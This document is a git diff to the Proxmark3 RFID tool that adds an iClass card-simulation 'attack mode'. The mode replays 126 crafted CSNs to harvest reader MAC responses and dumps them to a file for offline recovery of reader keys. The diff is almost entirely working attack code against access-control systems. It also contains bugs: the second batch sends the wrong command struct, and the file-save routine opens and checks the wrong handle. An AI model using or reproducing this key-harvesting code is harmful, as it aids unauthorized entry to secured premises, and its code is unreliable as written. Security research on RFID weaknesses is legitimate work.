diff --git a/armsrc/apps.h b/armsrc/apps.h index 59be5f118..c6520702a 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -191,7 +191,7 @@ void SetDebugIso15693(uint32_t flag); void RAMFUNC SnoopIClass(void); void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); +//int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 117e4035a..be27aa3ad 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -954,7 +954,7 @@ static void CodeIClassTagSOF() // Convert from last byte pos to length ToSendMax++; } - +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf); /** * @brief SimulateIClass simulates an iClass card. * @param arg0 type of simulation @@ -977,37 +977,42 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain iso14a_clear_trace(); uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; - if(simType == 0) { // Use the CSN from commandline memcpy(csn_crc, datain, 8); - doIClassSimulation(csn_crc,0); + doIClassSimulation(csn_crc,0,NULL); }else if(simType == 1) { - doIClassSimulation(csn_crc,0); + doIClassSimulation(csn_crc,0,NULL); } else if(simType == 2) { + + uint8_t mac_responses[64] = { 0 }; Dbprintf("Going into attack mode"); // In this mode, a number of csns are within datain. We'll simulate each one, one at a time // in order to collect MAC's from the reader. This can later be used in an offlne-attack // in order to obtain the keys, as in the "dismantling iclass"-paper. - for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) + int i = 0; + for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) { // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. memcpy(csn_crc, datain+(i*8), 8); - if(doIClassSimulation(csn_crc,1)) + if(doIClassSimulation(csn_crc,1,mac_responses)) { return; // Button pressed } } + cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8); + } else{ // We may want a mode here where we hardcode the csns to use (from proxclone). // That will speed things up a little, but not required just yet. Dbprintf("The mode is not implemented, reserved for future use"); } + Dbprintf("Done..."); } /** @@ -1015,7 +1020,7 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain * @param csn - csn to use * @param breakAfterMacReceived if true, returns after reader MAC has been received. */ -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf) { // CSN followed by two CRC bytes @@ -1109,6 +1114,12 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) LED_A_ON(); bool buttonPressed = false; + + /** Hack for testing + memcpy(reader_mac_buf,csn,8); + exitLoop = true; + end hack **/ + while(!exitLoop) { LED_B_OFF(); @@ -1159,11 +1170,15 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if (breakAfterMacReceived){ // TODO, actually return this to the caller instead of just // dbprintf:ing ... - Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x"); + Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]); Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len, receivedCmd[0], receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5], receivedCmd[6], receivedCmd[7], receivedCmd[8]); + if (reader_mac_buf != NULL) + { + memcpy(reader_mac_buf,receivedCmd+1,8); + } exitLoop = true; } } else if(receivedCmd[0] == 0x00 && len == 1) { @@ -1187,7 +1202,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if(cmdsRecvd > 100) { //DbpString("100 commands later..."); - break; + //break; } else { cmdsRecvd++; @@ -1217,7 +1232,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) memset(receivedCmd, 0x44, RECV_CMD_SIZE); } - Dbprintf("%x", cmdsRecvd); + //Dbprintf("%x", cmdsRecvd); LED_A_OFF(); LED_B_OFF(); if(buttonPressed) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index 13ffc8ba7..f31bced74 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -12,6 +12,7 @@ #include #include #include +#include #include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type #include "data.h" //#include "proxusb.h" @@ -328,20 +329,19 @@ int CmdHFiClassSim(const char *Cmd) PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); } - if(simType > 2) + if(simType > 5) { PrintAndLog("Undefined simptype %d", simType); return 1; } uint8_t numberOfCSNs=0; - UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; - memcpy(c.d.asBytes, CSN, 8); + if(simType == 2) + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; + UsbCommand resp = {0}; - if(simType == 2) - { - c.arg[1] = 10;//10 CSNs - uint8_t csns[] ={ + uint8_t csns1[] ={ /* Order Simulated CSN HASH1 Recovered key bytes */ /* 1 */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45 /* 2 */ 0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02 @@ -373,21 +373,156 @@ int CmdHFiClassSim(const char *Cmd) /* 28 */ 0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F /* 29 */ 0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11 /* 30 */ 0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18 - }; - memcpy(c.d.asBytes, csns, sizeof(c.d.asBytes)); + /*31*/ 0x04,0x77,0x77,0xBF,0xF7,0xFF,0x12,0xE0, // 4119000045014545 19 + /*32*/ 0x00,0x69,0x6D,0xE5,0xF7,0xFF,0x12,0xE0, // 1B23000045014545 1B + /*33*/ 0x01,0x69,0x6E,0xE2,0xF7,0xFF,0x12,0xE0, // 1E22000045014545 1E + /*34*/ 0x02,0x6B,0x6D,0xE1,0xF7,0xFF,0x12,0xE0, // 1F23000045014545 1F + /*35*/ 0x01,0x3F,0x04,0xE0,0xF7,0xFF,0x12,0xE0, // 200C000045014545 20 + /*36*/ 0x02,0x6E,0x6E,0xDC,0xF7,0xFF,0x12,0xE0, // 2422000045014545 24 + /*37*/ 0x05,0x6D,0x6E,0xDA,0xF7,0xFF,0x12,0xE0, // 2622000045014545 26 + /*38*/ 0x06,0x6F,0x6D,0xD9,0xF7,0xFF,0x12,0xE0, // 2723000045014545 27 + /*39*/ 0x01,0x6B,0x68,0xEC,0xF7,0xFF,0x12,0xE0, // 1428000045014545 28 + /*40*/ 0x04,0x6F,0x6F,0xD7,0xF7,0xFF,0x12,0xE0, // 2921000045014545 29 + /*41*/ 0x02,0x66,0x66,0xF4,0xF7,0xFF,0x12,0xE0, // 0C2A000045014545 2A + /*42*/ 0x00,0x61,0x65,0xFD,0xF7,0xFF,0x12,0xE0, // 032B000045014545 2B + /*43*/ 0x00,0x62,0x64,0xFE,0xF7,0xFF,0x12,0xE0, // 022C000045014545 2C + /*44*/ 0x01,0x65,0x62,0xFE,0xF7,0xFF,0x12,0xE0, // 022E000045014545 2E + /*45*/ 0x02,0x67,0x61,0xFD,0xF7,0xFF,0x12,0xE0, // 032F000045014545 2F + /*46*/ 0x00,0x5F,0x5B,0x13,0xF7,0xFF,0x12,0xE0, // 6D35000045014545 35 + /*47*/ 0x00,0x44,0x4E,0x48,0xF7,0xFF,0x12,0xE0, // 3842000045014545 38 + /*48*/ 0x00,0x53,0x57,0x27,0xF7,0xFF,0x12,0xE0, // 5939000045014545 39 + /*49*/ 0x00,0x49,0x4D,0x45,0xF7,0xFF,0x12,0xE0, // 3B43000045014545 3B + /*50*/ 0x01,0x49,0x4E,0x42,0xF7,0xFF,0x12,0xE0, // 3E42000045014545 3E + /*51*/ 0x02,0x4B,0x4D,0x41,0xF7,0xFF,0x12,0xE0, // 3F43000045014545 3F + /*52*/ 0x02,0x4E,0x4E,0x3C,0xF7,0xFF,0x12,0xE0, // 4442000045014545 44 + /*53*/ 0x05,0x4D,0x4E,0x3A,0xF7,0xFF,0x12,0xE0, // 4642000045014545 46 + /*54*/ 0x06,0x4F,0x4D,0x39,0xF7,0xFF,0x12,0xE0, // 4743000045014545 47 + /*55*/ 0x01,0x77,0x7C,0xB8,0xF7,0xFF,0x12,0xE0, // 4814000045014545 48 + /*56*/ 0x04,0x4F,0x4F,0x37,0xF7,0xFF,0x12,0xE0, // 4941000045014545 49 + /*57*/ 0x00,0x7A,0x7C,0xB6,0xF7,0xFF,0x12,0xE0, // 4A14000045014545 4A + /*58*/ 0x00,0x41,0x45,0x5D,0xF7,0xFF,0x12,0xE0, // 234B000045014545 4B + /*59*/ 0x00,0x42,0x44,0x5E,0xF7,0xFF,0x12,0xE0, // 224C000045014545 4C + /*60*/ 0x01,0x45,0x42,0x5E,0xF7,0xFF,0x12,0xE0, // 224E000045014545 4E + /*61*/ 0x02,0x47,0x41,0x5D,0xF7,0xFF,0x12,0xE0, // 234F000045014545 4F + /*62*/ 0x04,0x7E,0x7C,0xAE,0xF7,0xFF,0x12,0xE0, // 5214000045014545 52 + /*63*/ 0x00,0x57,0x53,0x2B,0xF7,0xFF,0x12,0xE0, // 553D000045014545 55 + }; + memcpy(c.d.asBytes, csns1, sizeof(c.d.asBytes)); - } + SendCommand(&c); + if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) { + PrintAndLog("Command timed out"); + return 0; + } - SendCommand(&c); + uint8_t num_mac_responses_1 = resp.arg[1]; + PrintAndLog("Mac responses, first part : %d MACs obtained (should be 63)", num_mac_responses_1); - /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500); - if (resp != NULL) { - uint8_t isOK = resp->arg[0] & 0xff; - PrintAndLog("isOk:%02x", isOK); - } else { - PrintAndLog("Command execute timeout"); - }*/ + UsbCommand c2 = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; + UsbCommand resp2 = {0}; + uint8_t csns2[] ={ + /*64*/ 0x04,0x3C,0x3A,0x74,0xF7,0xFF,0x12,0xE0, // 0C56000045014545 56 + /*65*/ 0x00,0x24,0x2E,0xA8,0xF7,0xFF,0x12,0xE0, // 5862000045014545 58 + /*66*/ 0x00,0x29,0x2D,0xA5,0xF7,0xFF,0x12,0xE0, // 5B63000045014545 5B + /*67*/ 0x00,0x00,0x02,0x24,0xF7,0xFF,0x12,0xE0, // 5C0E000045014545 5C + /*68*/ 0x01,0x29,0x2E,0xA2,0xF7,0xFF,0x12,0xE0, // 5E62000045014545 5E + /*69*/ 0x02,0x2B,0x2D,0xA1,0xF7,0xFF,0x12,0xE0, // 5F63000045014545 5F + /*70*/ 0x02,0x2E,0x2E,0x9C,0xF7,0xFF,0x12,0xE0, // 6462000045014545 64 + /*71*/ 0x02,0x0A,0x02,0x18,0xF7,0xFF,0x12,0xE0, // 680E000045014545 68 + /*72*/ 0x00,0x03,0x07,0x17,0xF7,0xFF,0x12,0xE0, // 6909000045014545 69 + /*73*/ 0x00,0x21,0x25,0xBD,0xF7,0xFF,0x12,0xE0, // 436B000045014545 6B + /*74*/ 0x02,0x27,0x21,0xBD,0xF7,0xFF,0x12,0xE0, // 436F000045014545 6F + /*75*/ 0x04,0x07,0x07,0x0F,0xF7,0xFF,0x12,0xE0, // 7109000045014545 71 + /*76*/ 0x00,0x04,0x0E,0x08,0xF7,0xFF,0x12,0xE0, // 7802000045014545 78 + /*77*/ 0x00,0x33,0x37,0x87,0xF7,0xFF,0x12,0xE0, // 7959000045014545 79 + /*78*/ 0x00,0x09,0x0D,0x05,0xF7,0xFF,0x12,0xE0, // 7B03000045014545 7B + /*79*/ 0x01,0x09,0x0E,0x02,0xF7,0xFF,0x12,0xE0, // 7E02000045014545 7E + /*80*/ 0x02,0x0B,0x0D,0x01,0xF7,0xFF,0x12,0xE0, // 7F03000045014545 7F + /*81*/ 0x00,0x34,0x3E,0x78,0xF7,0xFF,0x12,0xE0, // 0852000045014545 08 + /*82*/ 0x04,0x66,0x64,0xF6,0xF7,0xFF,0x12,0xE0, // 0A2C000045014545 0A + /*83*/ 0x00,0x3F,0x3B,0x73,0xF7,0xFF,0x12,0xE0, // 0D55000045014545 0D + /*84*/ 0x03,0x3B,0x3E,0x6E,0xF7,0xFF,0x12,0xE0, // 1252000045014545 12 + /*85*/ 0x00,0x11,0x15,0xED,0xF7,0xFF,0x12,0xE0, // 137B000045014545 13 + /*86*/ 0x00,0x6E,0x68,0xEA,0xF7,0xFF,0x12,0xE0, // 1628000045014545 16 + /*87*/ 0x00,0x6D,0x69,0xE9,0xF7,0xFF,0x12,0xE0, // 1727000045014545 17 + /*88*/ 0x00,0x6A,0x6C,0xE6,0xF7,0xFF,0x12,0xE0, // 1A24000045014545 1A + /*89*/ 0x00,0x40,0x42,0x64,0xF7,0xFF,0x12,0xE0, // 1C4E000045014545 1C + /*90*/ 0x00,0x77,0x73,0xCB,0xF7,0xFF,0x12,0xE0, // 351D000045014545 1D + /*91*/ 0x06,0x6E,0x72,0xD0,0xF7,0xFF,0x12,0xE0, // 301E000045014545 30 + /*92*/ 0x00,0x1B,0x1F,0xCF,0xF7,0xFF,0x12,0xE0, // 3171000045014545 31 + /*93*/ 0x01,0x75,0x72,0xCE,0xF7,0xFF,0x12,0xE0, // 321E000045014545 32 + /*94*/ 0x00,0x71,0x75,0xCD,0xF7,0xFF,0x12,0xE0, // 331B000045014545 33 + /*95*/ 0x00,0x48,0x4A,0x4C,0xF7,0xFF,0x12,0xE0, // 3446000045014545 34 + /*96*/ 0x00,0x4E,0x48,0x4A,0xF7,0xFF,0x12,0xE0, // 3648000045014545 36 + /*97*/ 0x00,0x4D,0x49,0x49,0xF7,0xFF,0x12,0xE0, // 3747000045014545 37 + /*98*/ 0x00,0x4A,0x4C,0x46,0xF7,0xFF,0x12,0xE0, // 3A44000045014545 3A + /*99*/ 0x00,0x20,0x22,0xC4,0xF7,0xFF,0x12,0xE0, // 3C6E000045014545 3C + /*100*/ 0x00,0x1C,0x66,0x40,0xF7,0xFF,0x12,0xE0, // 402A000045014545 40 + /*101*/ 0x06,0x4E,0x52,0x30,0xF7,0xFF,0x12,0xE0, // 503E000045014545 50 + /*102*/ 0x00,0x7B,0x7F,0xAF,0xF7,0xFF,0x12,0xE0, // 5111000045014545 51 + /*103*/ 0x00,0x51,0x55,0x2D,0xF7,0xFF,0x12,0xE0, // 533B000045014545 53 + /*104*/ 0x00,0x28,0x2A,0xAC,0xF7,0xFF,0x12,0xE0, // 5466000045014545 54 + /*105*/ 0x02,0x53,0x55,0x29,0xF7,0xFF,0x12,0xE0, // 573B000045014545 57 + /*106*/ 0x00,0x2A,0x2C,0xA6,0xF7,0xFF,0x12,0xE0, // 5A64000045014545 5A + /*107*/ 0x00,0x7C,0x46,0x20,0xF7,0xFF,0x12,0xE0, // 604A000045014545 60 + /*108*/ 0x02,0x03,0x05,0x19,0xF7,0xFF,0x12,0xE0, // 670B000045014545 67 + /*109*/ 0x01,0x2F,0x34,0x90,0xF7,0xFF,0x12,0xE0, // 705C000045014545 70 + /*110*/ 0x00,0x32,0x34,0x8E,0xF7,0xFF,0x12,0xE0, // 725C000045014545 72 + /*111*/ 0x00,0x31,0x35,0x8D,0xF7,0xFF,0x12,0xE0, // 735B000045014545 73 + /*112*/ 0x00,0x08,0x0A,0x0C,0xF7,0xFF,0x12,0xE0, // 7406000045014545 74 + /*113*/ 0x03,0x37,0x32,0x8A,0xF7,0xFF,0x12,0xE0, // 765E000045014545 76 + /*114*/ 0x00,0x0D,0x09,0x09,0xF7,0xFF,0x12,0xE0, // 7707000045014545 77 + /*115*/ 0x00,0x0A,0x0C,0x06,0xF7,0xFF,0x12,0xE0, // 7A04000045014545 7A + /*116*/ 0x00,0x60,0x62,0x04,0xF7,0xFF,0x12,0xE0, // 7C2E000045014545 7C + /*117*/ 0x00,0x07,0x03,0x1B,0xF7,0xFF,0x12,0xE0, // 650D000045014545 65 + /*118*/ 0x00,0x0C,0x16,0xF0,0xF7,0xFF,0x12,0xE0, // 107A000045014545 10 + /*119*/ 0x00,0x6F,0x6B,0xE3,0xF7,0xFF,0x12,0xE0, // 1D25000045014545 25 + /*120*/ 0x00,0x2F,0x2B,0xA3,0xF7,0xFF,0x12,0xE0, // 5D65000045014545 5D + /*121*/ 0x00,0x47,0x43,0x5B,0xF7,0xFF,0x12,0xE0, // 254D000045014545 4D + /*122*/ 0x00,0x37,0x33,0x8B,0xF7,0xFF,0x12,0xE0, // 755D000045014545 75 + /*123*/ 0x00,0x1F,0x1B,0xD3,0xF7,0xFF,0x12,0xE0, // 2D75000045014545 2D + /*124*/ 0x00,0x67,0x63,0xFB,0xF7,0xFF,0x12,0xE0, // 052D000045014545 05 + /*125*/ 0x00,0x0F,0x0B,0x03,0xF7,0xFF,0x12,0xE0, // 7D05000045014545 7D + /*126*/ 0x00,0x17,0x13,0xEB,0xF7,0xFF,0x12,0xE0, // 157D000045014545 15 + }; + + memcpy(c2.d.asBytes, csns2, sizeof(c2.d.asBytes)); + + SendCommand(&c); + if (!WaitForResponseTimeout(CMD_ACK, &resp2, -1)) { + PrintAndLog("Command timed out"); + return 0; + } + uint8_t num_mac_responses_2 = resp2.arg[1]; + PrintAndLog("Mac responses, second part : %d MACs obtained (should be 63)", num_mac_responses_2); + size_t datalen = 126 * 16; + /* + * Now, time to dump to file. We'll use this format: + * <8-byte CSN><8-byte MAC>.... + * So, it should wind up as + * (63+63) * (8 + 8 ) bytes. + **/ + void* macs = malloc(datalen); + uint8_t i = 0; + while(i < 63) + { + memcpy(macs+i*16, csns1+i*8,8); + memcpy(macs+i*16+8, resp.d.asBytes+i*8,8); + + memcpy(macs+i*16+63*16, csns2+i*8,8); + memcpy(macs+i*16+8+63*16, resp2.d.asBytes+i*8,8); + i++; + } + /** Now, save to dumpfile **/ + saveFile("iclass_mac_attack", "bin", macs,datalen); + free(macs); + }else + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; + memcpy(c.d.asBytes, CSN, 8); + SendCommand(&c); + } return 0; } @@ -440,3 +575,53 @@ int CmdHelp(const char *Cmd) CmdsHelp(CommandTable); return 0; } + +/** + * @brief checks if a file exists + * @param filename + * @return + */ +int fileExists(const char *filename) { + struct stat st; + int result = stat(filename, &st); + return result == 0; +} +/** + * @brief Utility function to save data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dumpdata-15.txt + * @param preferredName + * @param suffix the file suffix. Leave out the ".". + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return + */ +int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen) +{ + FILE *f = fopen(preferredName, "wb"); + int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5); + char * fileName = malloc(size); + + memset(fileName,0,size); + int num = 1; + sprintf(fileName,"%s.%s", preferredName, suffix); + while(fileExists(fileName)) + { + sprintf(fileName,"%s-%d.%s", preferredName, num, suffix); + num++; + } + /* We should have a valid filename now, e.g. dumpdata-3.bin */ + + /*Opening file for writing in binary mode*/ + FILE *fileHandle=fopen(fileName,"wb"); + if(!f) { + PrintAndLog("Failed to write to file '%s'", fileName); + return 0; + } + fwrite(data, 1, datalen, fileHandle); + fclose(fileHandle); + PrintAndLog("Saved data to '%s'", fileName); + + free(fileName); + return 0; +} diff --git a/client/cmdhficlass.h b/client/cmdhficlass.h index c1bf60c79..98c79e4b2 100644 --- a/client/cmdhficlass.h +++ b/client/cmdhficlass.h @@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd); int CmdHFiClassSim(const char *Cmd); int CmdHFiClassList(const char *Cmd); int CmdHFiClassReader(const char *Cmd); +int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen); #endif